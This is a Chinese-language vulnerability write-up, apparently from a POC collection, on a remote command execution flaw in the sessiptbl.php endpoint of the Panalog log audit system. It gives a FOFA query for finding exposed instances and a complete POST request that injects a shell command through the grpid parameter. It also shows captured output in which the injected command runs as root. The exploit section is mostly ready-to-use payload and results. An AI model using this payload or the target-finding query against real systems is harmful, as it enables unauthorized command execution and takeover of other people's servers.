

# P3-3Panalog-日志审计系统-RCE

## 漏洞描述：

Panalog日志审计系统 sessiptbl.php接口处存在远程[命令执行漏洞](#)，攻击者可执行任意命令，接管服务器权限。

## 影响版本：

version <= MARS r10plFree

## 网站图片：



## 网络测绘：

### fofa语法：

FOFA: app="Panabit-Panalog"

## 漏洞复现：

### payload:

```
POST /sessiptbl.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

action=serverdelay&grpid=|whoami >2.txt
```

### 效果图:

Request

< > 数据包扫描 热加载 构造请求

1 POST /sessiptbl.php HTTP/1.1

2 Host:

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

4 Content-Type: application/x-www-form-urlencoded

5 Accept-Encoding: gzip

6 Connection: close

7

8 action=serverdelay&grpid=|whoami >2.txt

Responses

https 0bytes / 45ms

1 HTTP/1.1 200 OK

2 Server: nginx

3 Date: Sat, 02 Jan 2016 11

4 Content-Type: text/html

5 Connection: close

6

7

验证



ⓧ 不安全

https://100.100.100.100/2.txt

root